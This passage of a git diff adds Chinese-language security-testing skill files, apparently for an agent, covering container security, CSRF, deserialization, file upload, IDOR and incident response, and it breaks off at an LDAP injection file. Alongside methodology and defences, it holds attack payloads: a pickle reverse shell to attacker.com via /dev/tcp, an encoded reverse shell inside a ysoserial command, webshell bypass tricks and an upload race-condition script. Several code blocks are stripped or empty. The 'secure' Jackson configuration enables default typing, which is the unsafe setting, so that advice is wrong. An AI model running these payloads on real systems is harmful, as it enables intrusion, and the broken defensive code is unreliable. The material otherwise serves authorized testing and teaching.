镜像安全 + +**检查项目:** +- 基础镜像漏洞 +- 依赖包漏洞 +- 镜像配置 +- 敏感信息 + +### 2. 运行时安全 + +**检查项目:** +- 容器权限 +- 资源限制 +- 网络隔离 +- 文件系统 + +### 3. 编排安全 + +**检查项目:** +- Kubernetes配置 +- 服务账户 +- RBAC +- 网络策略 + +## Docker安全测试 + +### 镜像扫描 + +**使用Trivy:** +```bash +# 扫描镜像 +trivy image nginx:latest + +# 扫描本地镜像 +trivy image --input nginx.tar + +# 只显示高危漏洞 +trivy image --severity HIGH,CRITICAL nginx:latest +``` + +**使用Clair:** +```bash +# 启动Clair +docker run -d --name clair clair:latest + +# 扫描镜像 +clair-scanner --ip 192.168.1.100 nginx:latest +``` + +**使用Docker Bench:** +```bash +# 运行Docker安全基准测试 +docker run --rm --net host --pid host --userns host --cap-add audit_control \ + -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ + -v /etc:/etc:ro \ + -v /usr/bin/containerd:/usr/bin/containerd:ro \ + -v /usr/bin/runc:/usr/bin/runc:ro \ + -v /usr/lib/systemd:/usr/lib/systemd:ro \ + -v /var/lib:/var/lib:ro \ + -v /var/run/docker.sock:/var/run/docker.sock:ro \ + --label docker_bench_security \ + docker/docker-bench-security +``` + +### 容器配置检查 + +**检查Dockerfile:** +```dockerfile +# 安全问题示例 +FROM ubuntu:latest # 使用latest标签 +RUN apt-get update && apt-get install -y curl # 未指定版本 +COPY . /app # 可能包含敏感文件 +ENV PASSWORD=secret # 硬编码密码 +USER root # 使用root用户 +``` + +**安全最佳实践:** +```dockerfile +# 使用特定版本 +FROM ubuntu:20.04 + +# 指定包版本 +RUN apt-get update && apt-get install -y curl=7.68.0-1ubuntu2.7 + +# 使用非root用户 +RUN useradd -m appuser +USER appuser + +# 最小化镜像 +FROM alpine:3.15 + +# 多阶段构建 +FROM golang:1.18 AS builder +WORKDIR /app +COPY . . +RUN go build -o app + +FROM alpine:3.15 +COPY --from=builder /app/app /app +``` + +### 运行时检查 + +**检查容器权限:** +```bash +# 检查特权容器 +docker ps --filter "label=privileged=true" + +# 检查挂载的主机目录 +docker inspect container_name | grep -A 10 Mounts + +# 检查容器网络 +docker network inspect network_name +``` + +**检查资源限制:** +```bash +# 检查内存限制 +docker stats container_name + +# 检查CPU限制 +docker inspect container_name | grep -i cpu +``` + +## Kubernetes安全测试 + +### 配置检查 + +**使用kube-bench:** +```bash +# 运行kube-bench +kube-bench run + +# 检查特定基准 +kube-bench run --targets master,node,etcd +``` + +**使用kube-hunter:** +```bash +# 运行kube-hunter +kube-hunter --remote target-ip + +# 主动模式 +kube-hunter --active +``` + +### Pod安全 + +**检查Pod安全策略:** +```yaml +# 不安全的Pod配置 +apiVersion: v1 +kind: Pod +spec: + containers: + - name: app + image: nginx + securityContext: + privileged: true # 特权模式 + runAsUser: 0 # root用户 +``` + +**安全配置:** +```yaml +apiVersion: v1 +kind: Pod +spec: + securityContext: + runAsNonRoot: true + runAsUser: 1000 + fsGroup: 2000 + containers: + - name: app + image: nginx + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: + drop: + - ALL + add: + - NET_BIND_SERVICE +``` + +### RBAC检查 + +**检查角色权限:** +```bash +# 列出所有角色 +kubectl get roles --all-namespaces + +# 检查角色绑定 +kubectl get rolebindings --all-namespaces + +# 检查集群角色 +kubectl get clusterroles + +# 检查用户权限 +kubectl auth can-i --list --as=system:serviceaccount:default:sa-name +``` + +**常见问题:** +- 过度权限 +- 未使用的角色 +- 未使用的服务账户 + +### 网络策略 + +**检查网络策略:** +```bash +# 列出所有网络策略 +kubectl get networkpolicies --all-namespaces + +# 检查网络策略配置 +kubectl describe networkpolicy policy-name -n namespace +``` + +**网络策略示例:** +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: default-deny +spec: + podSelector: {} + policyTypes: + - Ingress + - Egress +``` + +## 工具使用 + +### Falco + +**运行时安全监控:** +```bash +# 安装Falco +helm repo add falcosecurity https://falcosecurity.github.io/charts +helm install falco falcosecurity/falco + +# 检查规则 +falco -r /etc/falco/rules.d/ +``` + +### Aqua Security + +```bash +# 扫描镜像 +aqua image scan nginx:latest + +# 扫描Kubernetes集群 +aqua k8s scan +``` + +### Snyk + +```bash +# 扫描Dockerfile +snyk test --docker nginx:latest + +# 扫描Kubernetes配置 +snyk iac test k8s/ +``` + +## 测试清单 + +### 镜像安全 +- [ ] 扫描基础镜像漏洞 +- [ ] 扫描依赖包漏洞 +- [ ] 检查Dockerfile配置 +- [ ] 检查敏感信息泄露 + +### 运行时安全 +- [ ] 检查容器权限 +- [ ] 检查资源限制 +- [ ] 检查网络隔离 +- [ ] 检查文件系统挂载 + +### 编排安全 +- [ ] 检查Kubernetes配置 +- [ ] 检查RBAC配置 +- [ ] 检查网络策略 +- [ ] 检查Pod安全策略 + +## 常见安全问题 + +### 1. 镜像漏洞 + +**问题:** +- 基础镜像包含漏洞 +- 依赖包包含漏洞 +- 未及时更新 + +**修复:** +- 定期扫描镜像 +- 及时更新基础镜像 +- 使用最小化镜像 + +### 2. 过度权限 + +**问题:** +- 容器以root运行 +- 特权模式 +- 挂载敏感目录 + +**修复:** +- 使用非root用户 +- 禁用特权模式 +- 限制文件系统访问 + +### 3. 配置错误 + +**问题:** +- 默认配置不安全 +- 网络策略缺失 +- RBAC配置错误 + +**修复:** +- 遵循安全最佳实践 +- 实施网络策略 +- 正确配置RBAC + +### 4. 敏感信息泄露 + +**问题:** +- 镜像包含密钥 +- 环境变量暴露 +- 配置文件泄露 + +**修复:** +- 使用密钥管理 +- 避免硬编码 +- 使用Secret对象 + +## 最佳实践 + +### 1. 镜像安全 + +- 使用官方基础镜像 +- 定期更新镜像 +- 扫描镜像漏洞 +- 最小化镜像大小 + +### 2. 运行时安全 + +- 使用非root用户 +- 限制容器权限 +- 实施资源限制 +- 启用安全上下文 + +### 3. 编排安全 + +- 配置网络策略 +- 实施RBAC +- 使用Pod安全策略 +- 启用审计日志 + +## 注意事项 + +- 仅在授权环境中进行测试 +- 避免对生产环境造成影响 +- 注意不同容器平台的差异 +- 定期进行安全扫描 \ No newline at end of file diff --git a/skills/csrf-testing/SKILL.md b/skills/csrf-testing/SKILL.md new file mode 100644 index 00000000..30a61612 --- /dev/null +++ b/skills/csrf-testing/SKILL.md @@ -0,0 +1,199 @@ +--- +name: csrf-testing +description: CSRF跨站请求伪造测试的专业技能和方法论 +version: 1.0.0 +--- + +# CSRF跨站请求伪造测试 + +## 概述 + +CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。 + +## 漏洞原理 + +- 攻击者诱导用户访问恶意页面 +- 恶意页面自动发送请求到目标网站 +- 浏览器自动携带用户的认证信息(Cookie、Session) +- 目标网站误认为是用户合法操作 + +## 测试方法 + +### 1. 识别敏感操作 + +- 密码修改 +- 邮箱修改 +- 转账操作 +- 权限变更 +- 数据删除 +- 状态更新 + +### 2. 检测CSRF Token + +**检查是否有Token保护:** +```html + +
+ + +
+ + +
+ +
+``` + +### 3. 验证Token有效性 + +**测试Token是否可预测:** +- Token是否基于时间戳 +- Token是否基于用户ID +- Token是否可重复使用 +- Token是否在多个请求间共享 + +### 4. 检查Referer验证 + +**测试Referer检查是否可绕过:** +```javascript +// 正常请求 +Referer: https://target.com/change-password + +// 测试绕过 +Referer: https://target.com.evil.com +Referer: https://evil.com/?target.com +Referer: (空) +``` + +## 利用技术 + +### 基础CSRF攻击 + +**HTML表单自动提交:** +```html +
+ + +
+ +``` + +### JSON CSRF + +**绕过Content-Type检查:** +```html + +
+ +
+ +``` + +### GET请求CSRF + +**利用GET请求进行攻击:** +```html + +``` + +## 绕过技术 + +### Token绕过 + +**如果Token在Cookie中:** +```javascript +// 如果Token同时存在于Cookie和表单中 +// 可以尝试只提交Cookie中的Token +fetch('https://target.com/api/action', { + method: 'POST', + credentials: 'include', + body: 'action=delete&id=123' + // 不包含csrf_token参数,依赖Cookie +}); +``` + +### SameSite Cookie绕过 + +**利用子域名:** +- 如果SameSite=Lax,GET请求仍可携带Cookie +- 利用子域名进行攻击 + +### 双重提交Cookie + +**绕过Token验证:** +```html + +
+ + +
+``` + +## 工具使用 + +### Burp Suite + +**使用CSRF PoC生成器:** +1. 拦截目标请求 +2. 右键 → Engagement tools → Generate CSRF PoC +3. 测试生成的PoC + +### OWASP ZAP + +```bash +# 使用ZAP进行CSRF扫描 +zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com +``` + +## 验证和报告 + +### 验证步骤 + +1. 确认目标操作没有CSRF Token保护 +2. 构造恶意请求并验证可执行 +3. 评估影响(数据泄露、权限提升、资金损失等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和受影响的操作 +- 攻击场景和影响范围 +- 完整的利用步骤和PoC +- 修复建议(CSRF Token、SameSite Cookie、Referer验证等) + +## 防护措施 + +### 推荐方案 + +1. **CSRF Token** + - 每个表单包含唯一Token + - Token存储在Session中 + - 验证Token有效性 + +2. **SameSite Cookie** + ```javascript + Set-Cookie: session=abc123; SameSite=Strict; Secure + ``` + +3. **双重提交Cookie** + - Token同时存在于Cookie和表单 + - 验证两者是否匹配 + +4. **Referer验证** + - 验证Referer是否为同源 + - 注意空Referer的处理 + +## 注意事项 + +- 仅在授权测试环境中进行 +- 避免对用户账户造成实际影响 +- 记录所有测试步骤 +- 考虑不同浏览器的行为差异 \ No newline at end of file diff --git a/skills/deserialization-testing/SKILL.md b/skills/deserialization-testing/SKILL.md new file mode 100644 index 00000000..590c996c --- /dev/null +++ b/skills/deserialization-testing/SKILL.md @@ -0,0 +1,310 @@ +--- +name: deserialization-testing +description: 反序列化漏洞测试的专业技能和方法论 +version: 1.0.0 +--- + +# 反序列化漏洞测试 + +## 概述 + +反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。 + +## 漏洞原理 + +应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。 + +## 常见格式 + +### Java + +**常见库:** +- Java原生序列化 +- Jackson +- Fastjson +- XStream +- Apache Commons Collections + +### PHP + +**常见函数:** +- unserialize() +- json_decode() + +### Python + +**常见模块:** +- pickle +- yaml +- json + +### .NET + +**常见类:** +- BinaryFormatter +- SoapFormatter +- DataContractSerializer + +## 测试方法 + +### 1. 识别序列化数据 + +**Java序列化特征:** +``` +AC ED 00 05 (十六进制) +rO0 (Base64) +``` + +**PHP序列化特征:** +``` +O:8:"stdClass" +a:2:{s:4:"test";s:4:"data";} +``` + +**Python pickle特征:** +``` +\x80\x03 +``` + +### 2. 检测反序列化点 + +**常见位置:** +- Cookie值 +- Session数据 +- API参数 +- 文件上传 +- 缓存数据 +- 消息队列 + +### 3. Java反序列化 + +**Apache Commons Collections利用:** +```java +// 使用ysoserial生成Payload +java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin +``` + +**常见Gadget链:** +- CommonsCollections1-7 +- Spring1-2 +- ROME +- Jdk7u21 + +### 4. PHP反序列化 + +**基础测试:** +```php +cmd); + } +} +echo serialize(new Test()); +// O:4:"Test":1:{s:3:"cmd";s:2:"id";} +?> +``` + +**魔术方法利用:** +- __destruct() +- __wakeup() +- __toString() +- __call() + +### 5. Python pickle + +**基础测试:** +```python +import pickle +import os + +class RCE: + def __reduce__(self): + return (os.system, ('id',)) + +pickle.dumps(RCE()) +``` + +## 利用技术 + +### Java RCE + +**使用ysoserial:** +```bash +# 生成Payload +java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin + +# Base64编码 +base64 -w 0 payload.bin +``` + +**手动构造:** +```java +// 使用Gadget链构造恶意对象 +// 参考ysoserial源码 +``` + +### PHP RCE + +**利用POP链:** +```php +b->test(); + } +} + +class B { + public $c; + function test() { + call_user_func($this->c, "id"); + } +} + +$a = new A(); +$a->b = new B(); +$a->b->c = "system"; +echo serialize($a); +?> +``` + +### Python RCE + +**Pickle RCE:** +```python +import pickle +import base64 +import os + +class RCE: + def __reduce__(self): + return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',)) + +payload = pickle.dumps(RCE()) +print(base64.b64encode(payload)) +``` + +## 绕过技术 + +### 编码绕过 + +**Base64编码:** +``` +原始: rO0ABXNy... +编码: ck8wQUJYTnk... +``` + +**URL编码:** +``` +%72%4F%00%AB... +``` + +### 过滤器绕过 + +**使用不同Gadget链:** +- 如果CommonsCollections被过滤,尝试Spring +- 如果某个版本被过滤,尝试其他版本 + +### 类名混淆 + +**使用反射:** +```java +Class.forName("java.lang.Runtime").getMethod("exec", String.class) +``` + +## 工具使用 + +### ysoserial + +```bash +# 列出可用Gadget +java -jar ysoserial.jar + +# 生成Payload +java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin + +# 生成Base64 +java -jar ysoserial.jar CommonsCollections1 "command" | base64 +``` + +### PHPGGC + +```bash +# 列出可用Gadget +./phpggc -l + +# 生成Payload +./phpggc Monolog/RCE1 system id + +# 生成编码Payload +./phpggc -b Monolog/RCE1 system id +``` + +### Burp Suite + +1. 拦截包含序列化数据的请求 +2. 使用插件生成Payload +3. 替换原始数据 +4. 观察响应 + +## 验证和报告 + +### 验证步骤 + +1. 确认可以控制序列化数据 +2. 验证反序列化触发代码执行 +3. 评估影响(RCE、数据泄露等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和序列化数据格式 +- 使用的Gadget链或利用方式 +- 完整的利用步骤和PoC +- 修复建议(输入验证、使用安全序列化等) + +## 防护措施 + +### 推荐方案 + +1. **避免反序列化不可信数据** + - 使用JSON替代 + - 使用安全的序列化格式 + +2. **输入验证** + ```java + // 白名单验证类名 + private static final Set ALLOWED_CLASSES = + Set.of("com.example.SafeClass"); + + private Object readObject(ObjectInputStream ois) { + // 验证类名 + // ... + } + ``` + +3. **使用安全配置** + ```java + // Jackson配置 + objectMapper.enableDefaultTyping(); + objectMapper.setVisibility(PropertyAccessor.FIELD, + JsonAutoDetect.Visibility.ANY); + ``` + +4. **类加载器隔离** + - 使用自定义ClassLoader + - 限制可加载的类 + +5. **监控和日志** + - 记录反序列化操作 + - 监控异常行为 + +## 注意事项 + +- 仅在授权测试环境中进行 +- 注意不同版本库的Gadget链差异 +- 测试时注意Payload大小限制 +- 了解目标应用的依赖库版本 \ No newline at end of file diff --git a/skills/file-upload-testing/SKILL.md b/skills/file-upload-testing/SKILL.md new file mode 100644 index 00000000..5f88c7b1 --- /dev/null +++ b/skills/file-upload-testing/SKILL.md @@ -0,0 +1,328 @@ +--- +name: file-upload-testing +description: 文件上传漏洞测试的专业技能和方法论 +version: 1.0.0 +--- + +# 文件上传漏洞测试 + +## 概述 + +文件上传功能是Web应用常见功能,但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。 + +## 漏洞类型 + +### 1. 未验证文件类型 + +**仅前端验证:** +```javascript +// 可被绕过 +if (!file.name.endsWith('.jpg')) { + alert('只允许上传图片'); +} +``` + +### 2. 文件内容未验证 + +**仅检查扩展名:** +```php +// 危险代码 +if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') { + move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename); +} +``` + +### 3. 路径遍历 + +**未过滤文件名:** +``` +filename: ../../../etc/passwd +filename: ..\..\..\windows\system32\config\sam +``` + +### 4. 文件名覆盖 + +**可预测的文件名:** +``` +uploads/1.jpg +uploads/2.jpg +``` + +## 测试方法 + +### 1. 基础检测 + +**测试各种文件类型:** +- .php, .jsp, .asp, .aspx +- .php3, .php4, .php5, .phtml +- .jspx, .jspf +- .htaccess, .htpasswd + +**测试双扩展名:** +``` +shell.php.jpg +shell.jpg.php +``` + +**测试大小写:** +``` +shell.PHP +shell.PhP +``` + +### 2. 内容类型绕过 + +**修改Content-Type:** +``` +Content-Type: image/jpeg +# 但文件内容是PHP代码 +``` + +**Magic Bytes:** +```php +// 在PHP代码前添加图片头 +GIF89a +``` + +### 3. 解析漏洞 + +**Apache解析漏洞:** +``` +shell.php.xxx # Apache可能解析为PHP +``` + +**IIS解析漏洞:** +``` +shell.asp;.jpg +shell.asp:.jpg +``` + +**Nginx解析漏洞:** +``` +shell.jpg%00.php +``` + +### 4. 竞争条件 + +**文件上传后立即访问:** +```python +# 上传.php文件,在上传完成但删除前访问 +import requests +import threading + +def upload(): + files = {'file': ('shell.php', '')} + requests.post('http://target.com/upload', files=files) + +def access(): + time.sleep(0.1) + requests.get('http://target.com/uploads/shell.php?cmd=id') + +threading.Thread(target=upload).start() +threading.Thread(target=access).start() +``` + +## 利用技术 + +### PHP WebShell + +**基础WebShell:** +```php + +``` + +**一句话木马:** +```php + +``` + +**绕过过滤:** +```php + +``` + +**PNG图片马:** +```bash +# 使用工具将PHP代码嵌入PNG +python3 png2php.py shell.php shell.png +``` + +### 文件包含配合 + +**如果存在文件包含漏洞:** +``` +# 上传包含PHP代码的图片 +# 然后通过文件包含执行 +?file=uploads/shell.jpg +``` + +## 绕过技术 + +### 扩展名绕过 + +**双扩展名:** +``` +shell.php.jpg +shell.php;.jpg +shell.php%00.jpg +``` + +**大小写:** +``` +shell.PHP +shell.PhP +``` + +**特殊字符:** +``` +shell.php. +shell.php +shell.php%20 +``` + +### Content-Type绕过 + +**修改请求头:** +``` +Content-Type: image/jpeg +Content-Type: image/png +Content-Type: image/gif +``` + +### Magic Bytes绕过 + +**添加文件头:** +```php +// JPEG +\xFF\xD8\xFF\xE0 + +// GIF +GIF89a + +// PNG +\x89\x50\x4E\x47 +``` + +### 代码混淆 + +**使用短标签:** +```php + +``` + +**使用变量:** +```php + shell.php +``` + +## 验证和报告 + +### 验证步骤 + +1. 确认可以上传恶意文件 +2. 验证文件可以执行 +3. 评估影响(命令执行、数据泄露等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和上传功能 +- 可上传的文件类型和执行方式 +- 完整的利用步骤和PoC +- 修复建议(文件类型验证、内容检查、安全存储等) + +## 防护措施 + +### 推荐方案 + +1. **文件类型白名单** + ```python + ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'} + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + raise ValueError("File type not allowed") + ``` + +2. **文件内容验证** + ```python + import magic + file_type = magic.from_buffer(file_content, mime=True) + if not file_type.startswith('image/'): + raise ValueError("Invalid file content") + ``` + +3. **重命名文件** + ```python + import uuid + filename = str(uuid.uuid4()) + '.' + ext + ``` + +4. **隔离存储** + - 文件存储在Web根目录外 + - 通过脚本代理访问 + - 禁用执行权限 + +5. **文件扫描** + - 使用杀毒软件扫描 + - 检查文件内容 + - 移除可执行权限 + +6. **大小限制** + ```python + MAX_SIZE = 5 * 1024 * 1024 # 5MB + if file.size > MAX_SIZE: + raise ValueError("File too large") + ``` + +## 注意事项 + +- 仅在授权测试环境中进行 +- 避免上传恶意文件到生产环境 +- 测试后及时清理 +- 注意不同服务器的解析差异 \ No newline at end of file diff --git a/skills/idor-testing/SKILL.md b/skills/idor-testing/SKILL.md new file mode 100644 index 00000000..bf70cbd7 --- /dev/null +++ b/skills/idor-testing/SKILL.md @@ -0,0 +1,319 @@ +--- +name: idor-testing +description: IDOR不安全的直接对象引用测试的专业技能和方法论 +version: 1.0.0 +--- + +# IDOR不安全的直接对象引用测试 + +## 概述 + +IDOR(Insecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。 + +## 漏洞原理 + +应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。 + +**危险代码示例:** +```php +// 直接使用用户输入的ID +$file = file_get_contents('/files/' . $_GET['id'] . '.pdf'); +``` + +## 测试方法 + +### 1. 识别直接对象引用 + +**常见资源类型:** +- 用户ID +- 文件ID/文件名 +- 订单ID +- 文档ID +- 账户ID +- 记录ID + +**常见位置:** +- URL参数 +- POST数据 +- Cookie值 +- HTTP头 +- 文件路径 + +### 2. 枚举测试 + +**顺序ID测试:** +``` +/user?id=1 +/user?id=2 +/user?id=3 +``` + +**UUID测试:** +``` +/user?id=550e8400-e29b-41d4-a716-446655440000 +/user?id=550e8400-e29b-41d4-a716-446655440001 +``` + +**文件名测试:** +``` +/files/document1.pdf +/files/document2.pdf +/files/invoice_2024_001.pdf +``` + +### 3. 水平权限测试 + +**访问其他用户资源:** +``` +当前用户ID: 100 +测试: /user?id=101 +测试: /user?id=102 +``` + +**访问其他用户文件:** +``` +/files/user100_document.pdf +测试: /files/user101_document.pdf +``` + +### 4. 垂直权限测试 + +**普通用户访问管理员资源:** +``` +/admin/users?id=1 +/admin/settings +/admin/logs +``` + +## 利用技术 + +### 用户信息泄露 + +**枚举用户资料:** +```bash +# 顺序枚举 +for i in {1..1000}; do + curl "https://target.com/user?id=$i" +done + +# 观察响应差异 +``` + +### 文件访问 + +**访问其他用户文件:** +``` +/files/invoice_12345.pdf +/files/report_67890.pdf +/files/contract_11111.pdf +``` + +**目录遍历结合:** +``` +/files/../admin/config.php +/files/../../etc/passwd +``` + +### 数据修改 + +**修改其他用户数据:** +```http +POST /api/user/update +Content-Type: application/json + +{ + "id": 101, + "email": "attacker@evil.com" +} +``` + +### 批量操作 + +**批量获取数据:** +```python +import requests + +for user_id in range(1, 1000): + response = requests.get(f'https://target.com/api/user/{user_id}') + if response.status_code == 200: + print(f"User {user_id}: {response.json()}") +``` + +## 绕过技术 + +### ID混淆 + +**Base64编码:** +``` +原始ID: 123 +编码: MTIz +URL: /user?id=MTIz +``` + +**哈希值:** +``` +原始ID: 123 +哈希: 202cb962ac59075b964b07152d234b70 +URL: /user?id=202cb962ac59075b964b07152d234b70 +``` + +### 参数名混淆 + +**使用不同参数名:** +``` +/user?id=123 +/user?uid=123 +/user?user_id=123 +/user?account=123 +``` + +### HTTP方法绕过 + +**尝试不同HTTP方法:** +``` +GET /user/123 +POST /user/123 +PUT /user/123 +PATCH /user/123 +``` + +### 路径混淆 + +**尝试不同路径:** +``` +/api/v1/user/123 +/api/user/123 +/user/123 +/users/123 +``` + +## 工具使用 + +### Burp Suite + +**使用Intruder:** +1. 拦截请求 +2. 发送到Intruder +3. 标记ID参数 +4. 使用数字序列或自定义列表 +5. 观察响应差异 + +**使用Repeater:** +1. 手动修改ID +2. 测试不同值 +3. 观察响应 + +### OWASP ZAP + +```bash +# 使用ZAP进行IDOR扫描 +zap-cli active-scan --scanners all http://target.com +``` + +### Python脚本 + +```python +import requests +import json + +def test_idor(base_url, user_id_range): + for user_id in user_id_range: + url = f"{base_url}/user?id={user_id}" + response = requests.get(url) + + if response.status_code == 200: + data = response.json() + print(f"User {user_id}: {data.get('email', 'N/A')}") + +test_idor("https://target.com", range(1, 100)) +``` + +## 验证和报告 + +### 验证步骤 + +1. 确认可以访问未授权的资源 +2. 验证可以读取、修改或删除其他用户数据 +3. 评估影响(数据泄露、隐私侵犯等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和资源标识符 +- 可访问的未授权资源 +- 完整的利用步骤和PoC +- 修复建议(访问控制、资源映射等) + +## 防护措施 + +### 推荐方案 + +1. **访问控制验证** + ```python + def get_user_data(user_id, current_user_id): + # 验证权限 + if user_id != current_user_id: + raise PermissionDenied("Cannot access other user's data") + + # 返回数据 + return db.get_user(user_id) + ``` + +2. **间接对象引用** + ```python + # 使用映射表 + user_mapping = { + 'abc123': 100, + 'def456': 101, + 'ghi789': 102 + } + + def get_user(mapped_id): + real_id = user_mapping.get(mapped_id) + if not real_id: + raise NotFound() + return db.get_user(real_id) + ``` + +3. **基于角色的访问控制** + ```python + def check_permission(user, resource): + if user.role == 'admin': + return True + if resource.owner_id == user.id: + return True + return False + ``` + +4. **资源所有权验证** + ```python + def update_user_data(user_id, data, current_user): + user = db.get_user(user_id) + + # 验证所有权 + if user.id != current_user.id and current_user.role != 'admin': + raise PermissionDenied() + + # 更新数据 + db.update_user(user_id, data) + ``` + +5. **使用不可预测的标识符** + ```python + import uuid + + # 使用UUID替代顺序ID + resource_id = str(uuid.uuid4()) + ``` + +6. **最小权限原则** + - 只返回用户有权限访问的数据 + - 使用数据过滤 + - 限制可访问的资源范围 + +## 注意事项 + +- 仅在授权测试环境中进行 +- 避免访问或修改真实用户数据 +- 注意不同资源的访问控制差异 +- 测试时注意请求频率,避免触发防护 \ No newline at end of file diff --git a/skills/incident-response/SKILL.md b/skills/incident-response/SKILL.md new file mode 100644 index 00000000..5f2657b0 --- /dev/null +++ b/skills/incident-response/SKILL.md @@ -0,0 +1,272 @@ +--- +name: incident-response +description: 安全事件响应的专业技能和方法论 +version: 1.0.0 +--- + +# 安全事件响应 + +## 概述 + +安全事件响应是处理安全事件的关键流程。本技能提供安全事件响应的方法、工具和最佳实践。 + +## 响应流程 + +### 1. 准备阶段 + +**准备工作:** +- 建立响应团队 +- 制定响应计划 +- 准备工具和资源 +- 建立通信渠道 + +### 2. 识别阶段 + +**识别事件:** +- 监控告警 +- 异常检测 +- 日志分析 +- 用户报告 + +### 3. 遏制阶段 + +**遏制措施:** +- 隔离受影响系统 +- 禁用账户 +- 阻断网络连接 +- 备份证据 + +### 4. 清除阶段 + +**清除威胁:** +- 移除恶意软件 +- 修复漏洞 +- 重置凭证 +- 清理后门 + +### 5. 恢复阶段 + +**恢复系统:** +- 恢复备份 +- 验证系统完整性 +- 监控系统 +- 逐步恢复服务 + +### 6. 总结阶段 + +**总结经验:** +- 事件报告 +- 经验教训 +- 改进措施 +- 更新流程 + +## 工具使用 + +### 日志分析 + +**使用Splunk:** +```bash +# 搜索日志 +index=security event_type="failed_login" + +# 统计分析 +index=security | stats count by src_ip + +# 时间序列分析 +index=security | timechart count by event_type +``` + +**使用ELK:** +```bash +# Elasticsearch查询 +GET /logs/_search +{ + "query": { + "match": { + "event_type": "malware" + } + } +} +``` + +### 取证工具 + +**使用Volatility:** +```bash +# 分析内存镜像 +volatility -f memory.dump imageinfo + +# 列出进程 +volatility -f memory.dump --profile=Win7SP1x64 pslist + +# 提取进程内存 +volatility -f memory.dump --profile=Win7SP1x64 memdump -p 1234 -D output/ +``` + +**使用Autopsy:** +```bash +# 启动Autopsy +# 创建案例 +# 添加证据 +# 分析数据 +``` + +### 网络分析 + +**使用Wireshark:** +```bash +# 捕获流量 +wireshark -i eth0 + +# 分析PCAP文件 +wireshark -r capture.pcap + +# 过滤流量 +# 显示过滤器: ip.addr == 192.168.1.100 +# 捕获过滤器: host 192.168.1.100 +``` + +**使用tcpdump:** +```bash +# 捕获流量 +tcpdump -i eth0 -w capture.pcap + +# 分析流量 +tcpdump -r capture.pcap -A +``` + +## 事件类型 + +### 恶意软件 + +**响应步骤:** +1. 隔离受影响系统 +2. 收集样本 +3. 分析恶意软件 +4. 清除威胁 +5. 修复漏洞 + +**工具:** +- VirusTotal +- Cuckoo Sandbox +- YARA规则 + +### 数据泄露 + +**响应步骤:** +1. 确认泄露范围 +2. 遏制泄露 +3. 评估影响 +4. 通知相关方 +5. 修复漏洞 + +**检查项目:** +- 泄露数据量 +- 受影响用户 +- 泄露渠道 +- 数据敏感性 + +### 拒绝服务 + +**响应步骤:** +1. 确认攻击类型 +2. 启用防护措施 +3. 过滤恶意流量 +4. 监控系统状态 +5. 恢复正常服务 + +**防护措施:** +- DDoS防护服务 +- 流量清洗 +- 限流措施 +- CDN防护 + +### 未授权访问 + +**响应步骤:** +1. 禁用受影响账户 +2. 重置凭证 +3. 检查访问日志 +4. 评估数据访问 +5. 修复漏洞 + +**检查项目:** +- 访问时间 +- 访问内容 +- 访问来源 +- 数据修改 + +## 响应清单 + +### 准备阶段 +- [ ] 建立响应团队 +- [ ] 制定响应计划 +- [ ] 准备工具 +- [ ] 建立通信渠道 + +### 识别阶段 +- [ ] 确认事件 +- [ ] 收集信息 +- [ ] 评估影响 +- [ ] 记录时间线 + +### 遏制阶段 +- [ ] 隔离系统 +- [ ] 禁用账户 +- [ ] 阻断连接 +- [ ] 备份证据 + +### 清除阶段 +- [ ] 移除威胁 +- [ ] 修复漏洞 +- [ ] 重置凭证 +- [ ] 验证清除 + +### 恢复阶段 +- [ ] 恢复系统 +- [ ] 验证完整性 +- [ ] 监控系统 +- [ ] 恢复服务 + +### 总结阶段 +- [ ] 编写报告 +- [ ] 总结经验 +- [ ] 改进措施 +- [ ] 更新流程 + +## 最佳实践 + +### 1. 准备 + +- 建立响应团队 +- 制定响应计划 +- 定期演练 +- 准备工具 + +### 2. 响应 + +- 快速响应 +- 系统化处理 +- 记录所有操作 +- 保护证据 + +### 3. 沟通 + +- 内部沟通 +- 外部通知 +- 状态更新 +- 事后报告 + +### 4. 改进 + +- 事件分析 +- 流程改进 +- 工具更新 +- 培训提升 + +## 注意事项 + +- 快速响应 +- 保护证据 +- 记录操作 +- 遵守法律法规 \ No newline at end of file diff --git a/skills/ldap-injection-testing/SKILL.md b/skills/ldap-injection-testing/SKILL.md new file mode 100644 index 00000000..9ec38b7c --- /dev/null +++ b/skills/ldap-injection-testing/SKILL.md @@ -0,0 +1,300 @@ +--- +name: ldap-injection-testing +description: LDAP注入漏洞测试的专业技能和方法论 +version: 1.0.0 +--- + +# LDAP注入漏洞测试 + +## 概述 + +LDAP注入是一种类似于SQL注入的漏洞,利用LDAP查询语句的构造缺陷,可能导致信息泄露、权限绕过等。本技能提供LDAP注入的检测、利用和防护方法。 + +## 